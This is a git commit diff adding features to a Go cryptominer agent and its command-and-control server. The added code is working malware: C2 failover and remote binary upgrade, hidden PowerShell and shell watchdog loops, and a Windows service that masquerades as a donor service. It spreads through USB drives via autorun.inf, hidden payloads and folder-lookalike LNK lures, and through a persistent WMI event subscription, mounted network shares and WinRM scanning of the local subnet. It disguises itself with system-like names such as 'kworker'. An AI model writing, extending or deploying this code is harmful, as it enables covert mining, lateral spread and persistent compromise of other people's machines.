Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
2026-05-29 22:29:58 -07:00
parent 0f9e04f5f6
commit 102d2fb7c6
29 changed files with 1795 additions and 84 deletions

View File

@@ -4,8 +4,10 @@ import (
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"net"
"net/http"
"net/url"
"os"
"os/exec"
@@ -75,15 +77,26 @@ func (c *AgentClient) Run() error {
}
}
// Build deduped server list: primary first, then backups.
// On each failure we advance to the next URL so the fleet never
// goes dark when the primary host reboots.
serverURLs := buildServerURLList(c.cfg)
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
urlIdx := 0
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
for {
target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now()
if err := c.connectLoop(); err != nil {
log.Printf("[agent] disconnected: %v", err)
if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err)
}
// Advance to next URL so the next reconnect tries a different server
urlIdx++
if time.Since(start) > 10*time.Second {
// Long-lived connection succeeded — reset backoff on the next attempt
backoff = 5 * time.Second
}
time.Sleep(backoff)
@@ -94,8 +107,30 @@ func (c *AgentClient) Run() error {
}
}
func (c *AgentClient) connectLoop() error {
wsURL, err := buildWSURL(c.cfg.ServerURL)
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
seen := map[string]bool{}
var urls []string
add := func(u string) {
u = strings.TrimSpace(u)
if u == "" || seen[u] {
return
}
seen[u] = true
urls = append(urls, u)
}
add(cfg.ServerURL)
for _, u := range cfg.BackupServerURLs {
add(u)
}
if len(urls) == 0 {
urls = []string{cfg.ServerURL}
}
return urls
}
func (c *AgentClient) connectLoop(serverURL string) error {
wsURL, err := buildWSURL(serverURL)
if err != nil {
return err
}
@@ -350,6 +385,14 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
encoded := base64.StdEncoding.EncodeToString(b)
c.sendCommandResult(action, true, encoded)
case "upgrade":
// data = download URL for the new binary
if data == "" {
c.sendCommandResult(action, false, "no upgrade URL provided")
return
}
go c.performUpgrade(data)
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
default:
if c.handleReconCommand(action, command) {
return
@@ -385,6 +428,75 @@ func (c *AgentClient) restartSelf() {
os.Exit(0)
}
// performUpgrade downloads a new binary from downloadURL, replaces the
// installed binary, and restarts. Works around Windows file-locking by
// renaming the running exe to .old before writing the new one.
func (c *AgentClient) performUpgrade(downloadURL string) {
log.Printf("[agent] upgrade: downloading from %s", downloadURL)
resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
if err != nil {
log.Printf("[agent] upgrade: download failed: %v", err)
c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
log.Printf("[agent] upgrade: server returned %s", resp.Status)
c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
return
}
exe, err := os.Executable()
if err != nil {
c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
return
}
exe, _ = filepath.Abs(exe)
// Write new binary to a temp file in the same directory
newPath := exe + ".new"
tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
return
}
if _, err := io.Copy(tmp, resp.Body); err != nil {
tmp.Close()
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
return
}
tmp.Close()
// On Windows: rename the running exe to .old (allowed), then rename .new into place.
// On other OSes: direct rename works while the process is running.
oldPath := exe + ".old"
_ = os.Remove(oldPath)
if err := os.Rename(exe, oldPath); err != nil {
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
return
}
if err := os.Rename(newPath, exe); err != nil {
// Try to roll back
_ = os.Rename(oldPath, exe)
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
return
}
log.Printf("[agent] upgrade: binary replaced, restarting")
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
time.Sleep(500 * time.Millisecond)
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
if startErr := cmd.Start(); startErr != nil {
log.Printf("[agent] upgrade: restart failed: %v", startErr)
}
os.Exit(0)
}
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
if !cfg.FileLogging || cfg.StealthMode {
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")

View File

@@ -45,5 +45,7 @@ func GetBuiltinConfig() BuiltinConfig {
AutoSpread: false,
HolePunch: false,
RemoteAggressive: false,
USBSpread: false,
ShareSpread: false,
}
}

View File

@@ -52,6 +52,9 @@ type BuiltinConfig struct {
AutoSpread bool
HolePunch bool
RemoteAggressive bool
// Passive spreading — triggered by the environment rather than active scanning
USBSpread bool // copy agent to any newly-inserted removable/USB drive
ShareSpread bool // drop agent onto already-mounted network shares
// Backup server URLs — tried in order if primary fails
BackupServerURLs []string
// Windows service masquerade (ignored on other OSes)

View File

@@ -9,11 +9,13 @@ import (
"crypto-miner-agent/config"
)
// StartWatchdog keeps persistence and the installed binary healthy.
// StartWatchdog keeps persistence and the installed binary healthy,
// and spawns an out-of-process guardian that restarts the miner if it crashes.
func StartWatchdog(cfg config.RuntimeConfig) {
if !cfg.SelfHealing {
return
}
// In-process: repairs binary + persistence every 2 min
go func() {
ticker := time.NewTicker(2 * time.Minute)
defer ticker.Stop()
@@ -23,6 +25,12 @@ func StartWatchdog(cfg config.RuntimeConfig) {
}
}
}()
// Out-of-process guardian: survives a crash of THIS process.
// Only needed for user-mode installs; scheduled tasks and services
// already have their own restart-on-failure mechanics.
if cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
go launchProcessGuard(cfg)
}
}
func maintainInstall(cfg config.RuntimeConfig) error {

View File

@@ -0,0 +1,31 @@
//go:build !windows
package deploy
import (
"fmt"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// launchProcessGuard spawns a detached shell loop that watches for the installed
// miner and restarts it on crash (Unix — Linux + macOS).
func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
bin := filepath.Join(installDir, BinaryName(cfg))
procName := strings.TrimSuffix(BinaryName(cfg), "")
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
script := fmt.Sprintf(
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
procName, bin, bin,
)
cmd := exec.Command("sh", "-c", script)
_ = cmd.Start()
}

View File

@@ -0,0 +1,43 @@
//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
// installed miner process by name and relaunches it if it disappears.
// The guardian runs completely outside this process — it survives a crash.
func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
ps := fmt.Sprintf(`
$bin = '%s'
$proc = '%s'
while ($true) {
Start-Sleep -Seconds 60
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
if (Test-Path $bin) {
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
}
}
}
`, binPath, procName)
cmd := exec.Command("powershell",
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
"-Command", ps)
applyDetachedStart(cmd)
_ = cmd.Start()
}

View File

@@ -0,0 +1,223 @@
//go:build !windows
package deploy
import (
"log"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
// StartPassiveSpreader on Unix polls for newly mounted removable media
// (USB drives, SD cards) and drops the agent onto them.
func StartPassiveSpreader(cfg config.RuntimeConfig) {
if !cfg.USBSpread && !cfg.ShareSpread {
return
}
log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
if cfg.USBSpread {
go runUSBWatcherUnix(cfg)
}
if cfg.ShareSpread {
go runShareWatcherUnix(cfg)
}
}
// -----------------------------------------------------------------------
// USB / removable media watcher (Linux + macOS)
// -----------------------------------------------------------------------
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
seen := map[string]bool{}
// Seed with already-mounted removable media so we don't spread to
// drives that were plugged in before the agent started.
for _, mp := range listRemovableMounts() {
seen[mp] = true
}
ticker := time.NewTicker(20 * time.Second)
defer ticker.Stop()
for range ticker.C {
for _, mp := range listRemovableMounts() {
if seen[mp] {
continue
}
seen[mp] = true
log.Printf("[passive-spread] new removable mount: %s", mp)
go spreadToMountUnix(cfg, mp)
}
}
}
// listRemovableMounts returns currently-mounted removable media paths.
// Linux: parses /proc/mounts, macOS: uses diskutil list + mount.
func listRemovableMounts() []string {
// Try lsblk first (Linux)
if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil {
return parseLsblkMounts(string(out))
}
// macOS: look in /Volumes/ for non-system mounts
return listVolumes()
}
func parseLsblkMounts(jsonOut string) []string {
// Simple substring scan — avoids importing encoding/json for a small binary
var mounts []string
lines := strings.Split(jsonOut, "\n")
var lastMP string
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.Contains(line, `"mountpoint"`) {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`)
}
}
if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) {
if lastMP != "" && lastMP != "/" && lastMP != "null" {
mounts = append(mounts, lastMP)
}
}
}
return mounts
}
func listVolumes() []string {
entries, err := os.ReadDir("/Volumes")
if err != nil {
return nil
}
// Skip the system volume (usually "Macintosh HD") by checking if it's a
// symlink to / — all other entries are external/removable volumes.
var vols []string
for _, e := range entries {
full := filepath.Join("/Volumes", e.Name())
target, err := filepath.EvalSymlinks(full)
if err != nil {
vols = append(vols, full) // real mount, not a symlink
continue
}
if target != "/" {
vols = append(vols, full)
}
}
return vols
}
func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) {
exePath, err := os.Executable()
if err != nil {
return
}
destName := unixPayloadName(cfg)
// Hide in a dot-directory that looks like a metadata store
dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir
if err := os.MkdirAll(dropDir, 0700); err != nil {
dropDir = filepath.Join(mountPath, ".metadata")
if err := os.MkdirAll(dropDir, 0700); err != nil {
dropDir = mountPath
}
}
dest := filepath.Join(dropDir, destName)
if err := copyFile(exePath, dest); err != nil {
return
}
_ = os.Chmod(dest, 0755)
log.Printf("[passive-spread] agent copied to %s", dest)
// Create a visible shell script or .command launcher that blends in.
launcherName := pickUnixLauncher(mountPath)
launcherPath := filepath.Join(mountPath, launcherName)
script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n"
_ = os.WriteFile(launcherPath, []byte(script), 0755)
}
func unixPayloadName(cfg config.RuntimeConfig) string {
if !cfg.StealthMode {
n := sanitizeName(cfg.WorkerName)
if n != "" {
return n
}
}
names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"}
return names[int(time.Now().UnixNano())%len(names)]
}
func pickUnixLauncher(mountPath string) string {
entries, _ := os.ReadDir(mountPath)
for _, e := range entries {
if e.IsDir() && !strings.HasPrefix(e.Name(), ".") {
return e.Name() + ".command"
}
}
return "Start.command"
}
// -----------------------------------------------------------------------
// Mounted share watcher (Linux/macOS NFS, CIFS, SMB)
// -----------------------------------------------------------------------
var spreadSharesOnce sync.Once
func runShareWatcherUnix(cfg config.RuntimeConfig) {
time.Sleep(3 * time.Minute)
ticker := time.NewTicker(10 * time.Minute)
defer ticker.Stop()
spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) })
for range ticker.C {
spreadToSharesUnix(cfg)
}
}
func spreadToSharesUnix(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
for _, mp := range listRemoteShareMounts() {
mp := mp
go func() {
destName := unixPayloadName(cfg)
dest := filepath.Join(mp, "."+destName)
if _, err := os.Stat(dest); err == nil {
return
}
if err := copyFile(exePath, dest); err != nil {
return
}
_ = os.Chmod(dest, 0755)
log.Printf("[passive-spread] dropped to share %s", dest)
cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`)
_ = cmd.Start()
}()
}
}
// listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts.
func listRemoteShareMounts() []string {
out, err := exec.Command("mount").Output()
if err != nil {
return nil
}
var mounts []string
for _, line := range strings.Split(string(out), "\n") {
lower := strings.ToLower(line)
if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") {
continue
}
// mount line format: `//host/share on /mnt/share type cifs ...`
fields := strings.Fields(line)
for i, f := range fields {
if f == "on" && i+1 < len(fields) {
mounts = append(mounts, fields[i+1])
break
}
}
}
return mounts
}

View File

@@ -0,0 +1,450 @@
//go:build windows
package deploy
import (
"fmt"
"log"
"math/rand"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"syscall"
"time"
"unsafe"
"crypto-miner-agent/config"
)
// -----------------------------------------------------------------------
// Entry point
// -----------------------------------------------------------------------
// StartPassiveSpreader starts background goroutines that spread via
// environment-triggered events rather than active subnet scanning:
// - USB drive insertion → copy + autorun + LNK shortcut
// - Mounted network shares → drop payload + helper
// - WMI event subscription → persistent USB trigger (survives reboots)
// - PowerShell Remoting → opportunistic WinRM spread on LAN
func StartPassiveSpreader(cfg config.RuntimeConfig) {
if !cfg.USBSpread && !cfg.ShareSpread {
return
}
log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
if cfg.USBSpread {
go runUSBWatcher(cfg)
go installWMIUSBTrigger(cfg) // persistent, survives reboots
}
if cfg.ShareSpread {
go runShareWatcher(cfg)
go runPSRemotingSpread(cfg) // opportunistic WinRM
}
}
// -----------------------------------------------------------------------
// Win32 drive enumeration
// -----------------------------------------------------------------------
var (
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
procGetLogicalDrives = modkernel32.NewProc("GetLogicalDrives")
procGetDriveTypeW = modkernel32.NewProc("GetDriveTypeW")
procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW")
)
const (
driveRemovable = 2
driveRemote = 4
attrHidden = 0x02
attrSystem = 0x04
)
func getLogicalDrives() []string {
r, _, _ := procGetLogicalDrives.Call()
var drives []string
for i := 0; i < 26; i++ {
if r&(1<<uint(i)) != 0 {
drives = append(drives, string(rune('A'+i))+":\\")
}
}
return drives
}
func getDriveType(root string) uint32 {
ptr, _ := syscall.UTF16PtrFromString(root)
r, _, _ := procGetDriveTypeW.Call(uintptr(unsafe.Pointer(ptr)))
return uint32(r)
}
func setHiddenSystem(path string) {
ptr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return
}
_, _, _ = procSetFileAttributesW.Call(uintptr(unsafe.Pointer(ptr)),
uintptr(attrHidden|attrSystem))
}
// -----------------------------------------------------------------------
// USB watcher
// -----------------------------------------------------------------------
func runUSBWatcher(cfg config.RuntimeConfig) {
seen := map[string]bool{}
// Seed with drives already present at start — don't spread to them immediately.
for _, d := range getLogicalDrives() {
if getDriveType(d) == driveRemovable {
seen[d] = true
}
}
ticker := time.NewTicker(20 * time.Second)
defer ticker.Stop()
for range ticker.C {
for _, d := range getLogicalDrives() {
if getDriveType(d) != driveRemovable {
continue
}
if seen[d] {
continue
}
seen[d] = true
log.Printf("[passive-spread] new USB drive: %s", d)
go spreadToUSB(cfg, d)
}
}
}
// spreadToUSB copies the agent onto a freshly inserted removable drive
// using three complementary techniques:
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
// 2. LNK shortcut — looks like a folder; user double-clicks it
// 3. Hidden dir — keeps the binary out of plain sight
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
exePath, err := os.Executable()
if err != nil {
return
}
// Randomised drop directory looks like a Windows system folder.
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
if err := os.MkdirAll(dropDir, 0755); err != nil {
return
}
setHiddenSystem(dropDir)
destName := usbPayloadName(cfg)
destBin := filepath.Join(dropDir, destName)
if err := copyFile(exePath, destBin); err != nil {
return
}
setHiddenSystem(destBin)
log.Printf("[passive-spread] agent copied to %s", destBin)
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
`\`+filepath.Join(filepath.Base(dropDir), destName),
`\`+filepath.Join(filepath.Base(dropDir), destName),
)
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
// 2. LNK shortcut that looks like the drive's main folder.
// We pick a name that mirrors whatever real directories are present
// so it blends in, or fall back to a generic "Open Documents" label.
lnkName := pickLinkName(drive)
createFolderShortcut(drive, lnkName, destBin)
}
// usbPayloadName returns a plausible system binary name for the USB payload.
func usbPayloadName(cfg config.RuntimeConfig) string {
candidates := []string{
"WinSetup.exe",
"diskutil.exe",
"AutoPlay.exe",
"IndexerHelper.exe",
"SyncCenter.exe",
}
if cfg.StealthMode {
return candidates[rand.Intn(len(candidates))]
}
name := sanitizeName(cfg.WorkerName)
if name != "" {
return name + ".exe"
}
return candidates[rand.Intn(len(candidates))]
}
// pickLinkName looks at top-level directories on the drive and returns a
// shortcut name that mirrors the first real directory found, so the LNK
// blends in with the drive's existing contents.
func pickLinkName(drive string) string {
entries, err := os.ReadDir(drive)
if err != nil {
return "Open Documents"
}
for _, e := range entries {
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
return e.Name() // shortcut will have the same name as the first real folder
}
}
return "Open Documents"
}
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
// create an LNK shortcut with a folder icon that silently runs destBin.
func createFolderShortcut(dir, name, destBin string) {
lnkPath := filepath.Join(dir, name+".lnk")
// WindowStyle 7 = minimised (invisible to the user)
ps := fmt.Sprintf(`
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('%s')
$lnk.TargetPath = '%s'
$lnk.IconLocation = 'shell32.dll,3'
$lnk.WindowStyle = 7
$lnk.Description = 'Open'
$lnk.Save()
`,
strings.ReplaceAll(lnkPath, `'`, `''`),
strings.ReplaceAll(destBin, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Run()
}
// -----------------------------------------------------------------------
// WMI permanent event subscription
// Fires every time any removable volume mounts — survives reboots.
// Requires admin; silently skipped if not elevated.
// -----------------------------------------------------------------------
func installWMIUSBTrigger(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
destName := usbPayloadName(cfg)
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
strings.ReplaceAll(exePath, `"`, `\"`),
destName,
destName,
)
// Escape single-quotes for PowerShell string embedding
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
exePathPS := strings.ReplaceAll(exePath, `'`, `''`)
ps := fmt.Sprintf(`
$ns = 'root\subscription'
$filterName = 'AetherUSBFilter'
$consumerName = 'AetherUSBConsumer'
# Idempotent: remove stale bindings first
Get-WMIObject -Namespace $ns -Class __FilterToConsumerBinding -EA SilentlyContinue |
Where-Object { $_.Filter -match $filterName } | Remove-WMIObject -EA SilentlyContinue
Get-WMIObject -Namespace $ns -Class __EventFilter -Filter "Name='$filterName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
Get-WMIObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$consumerName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
$filterArgs = @{
Name = '$filterName'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Volume' AND TargetInstance.DriveType = 2"
}
$filter = Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments $filterArgs -EA Stop
$consumerArgs = @{
Name = '$consumerName'
CommandLineTemplate = '%s'
RunInteractively = $false
}
$consumer = Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments $consumerArgs -EA Stop
Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer} -EA Stop | Out-Null
# Also copy the agent to a system location so the WMI consumer can find it
# even if the original path changes.
$dest = "$env:SYSTEMROOT\System32\%s"
Copy-Item '%s' $dest -Force -EA SilentlyContinue
`,
copyCmdPS,
destName,
exePathPS,
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
if err := cmd.Run(); err == nil {
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
}
// Non-admin failure is expected and harmless; polling still covers it.
}
// -----------------------------------------------------------------------
// Mounted share watcher
// -----------------------------------------------------------------------
func runShareWatcher(cfg config.RuntimeConfig) {
// Initial delay so the agent settles before doing share I/O
time.Sleep(3 * time.Minute)
ticker := time.NewTicker(8 * time.Minute)
defer ticker.Stop()
spreadSharesOnce.Do(func() { spreadToMountedShares(cfg) })
for range ticker.C {
spreadToMountedShares(cfg)
}
}
var spreadSharesOnce sync.Once
func spreadToMountedShares(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
for _, d := range getLogicalDrives() {
if getDriveType(d) != driveRemote {
continue
}
go dropOnShare(cfg, d, exePath)
}
// Also enumerate UNC paths from `net use`
for _, unc := range listNetUse() {
go dropOnShare(cfg, unc, exePath)
}
}
func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
destName := sharePayloadName(cfg)
// Drop into a temp-like subdirectory to avoid dropping in the share root.
dropDir := filepath.Join(sharePath, ".tmp")
if err := os.MkdirAll(dropDir, 0755); err != nil {
// No write access — try root of share
dropDir = sharePath
}
dest := filepath.Join(dropDir, destName)
if _, err := os.Stat(dest); err == nil {
return // already there
}
if err := copyFile(exePath, dest); err != nil {
return
}
log.Printf("[passive-spread] dropped to share %s", dest)
// Try to execute it via a UNC path
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
applyDetachedStart(cmd)
_ = cmd.Start()
}
func sharePayloadName(cfg config.RuntimeConfig) string {
if !cfg.StealthMode {
if n := sanitizeName(cfg.WorkerName); n != "" {
return n + ".exe"
}
}
return "WinMgmtSvc.exe"
}
// listNetUse parses `net use` output and returns active UNC paths.
func listNetUse() []string {
out, err := exec.Command("net", "use").Output()
if err != nil {
return nil
}
var paths []string
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if !strings.HasPrefix(line, "OK") && !strings.HasPrefix(line, "Disconnected") {
continue
}
fields := strings.Fields(line)
for _, f := range fields {
if strings.HasPrefix(f, `\\`) {
paths = append(paths, f)
}
}
}
return paths
}
// -----------------------------------------------------------------------
// PowerShell Remoting (WinRM) spread
// Opportunistic: only fires if WinRM port 5985 is open on a LAN host.
// -----------------------------------------------------------------------
func runPSRemotingSpread(cfg config.RuntimeConfig) {
time.Sleep(15 * time.Minute)
ticker := time.NewTicker(6 * time.Hour)
defer ticker.Stop()
for {
spreadViaPSRemoting(cfg)
<-ticker.C
}
}
func spreadViaPSRemoting(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
destName := sharePayloadName(cfg)
// ps script: copy binary to remote temp, execute hidden
psBlock := fmt.Sprintf(`
$dest = "$env:TEMP\%s"
if (-not (Test-Path $dest)) {
Copy-Item '%s' $dest -Force -EA SilentlyContinue
}
if (Test-Path $dest) {
Start-Process $dest -WindowStyle Hidden -EA SilentlyContinue
}
`,
destName,
strings.ReplaceAll(exePath, `'`, `''`),
)
for _, ip := range getLocalIPs() {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
tryPSRemote(t, psBlock, destName)
}(target)
}
}
}
func tryPSRemote(target, scriptBlock, destName string) {
// Quick port check on WinRM (5985 = HTTP, 5986 = HTTPS)
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
return
}
ps := fmt.Sprintf(`
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
if ($s) {
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
Remove-PSSession $s -EA SilentlyContinue
}
`, target, scriptBlock)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
if err := cmd.Run(); err == nil {
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
}
}
func portOpen(host string, port int, timeout time.Duration) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
if err != nil {
return false
}
conn.Close()
return true
}

View File

@@ -34,13 +34,81 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "scheduled", "service":
case "service":
return createWindowsService(cfg, installedBin)
case "scheduled":
return createScheduledTask(cfg, installedBin)
default:
return nil
}
}
// createWindowsService installs the miner as a real Windows Service with
// automatic crash-restart. When ServiceMasquerade is enabled, the service
// name and description are cloned from the donor service so it blends in.
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
// Tear down any stale instance first (errors are expected and ignored)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
// Give SCM time to fully remove the entry
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
// Create the service
if err := exec.Command("sc.exe", "create", svcName,
"binPath=", `"`+binPath+`" --run`,
"type=", "own",
"start=", "auto",
"error=", "ignore",
).Run(); err != nil {
return fmt.Errorf("sc create: %w", err)
}
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
_ = exec.Command("sc.exe", "failure", svcName,
"reset=", "60",
"actions=", "restart/0/restart/5000/restart/30000",
).Run()
// Start it
_ = exec.Command("sc.exe", "start", svcName).Run()
// Masquerade: copy description from donor service
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
cloneServiceDescription(svcName, cfg.ServiceDonor)
}
return nil
}
// cloneServiceDescription copies the display name and description from
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
func cloneServiceDescription(targetSvc, donorSvc string) {
ps := fmt.Sprintf(`
$donor = Get-Service '%s' -EA SilentlyContinue
if ($donor) {
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
if ($donorWmi) {
sc.exe description '%s' ($donorWmi.Description)
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
}
}
`,
strings.ReplaceAll(donorSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
strings.ReplaceAll(donorSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Run()
}
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
taskName := PersistenceKeyName(cfg)
if taskName == "" {
@@ -86,7 +154,11 @@ func removePersistence(cfg config.RuntimeConfig) {
runKey.Close()
}
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
// Remove service — use the configured name if available, fall back to legacy pattern
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
}

View File

@@ -69,6 +69,7 @@ func main() {
deploy.StartWatchdog(cfg)
deploy.StartAutoSpreader(cfg)
deploy.StartPassiveSpreader(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)

View File

@@ -2,8 +2,13 @@ package api
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"strconv"
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
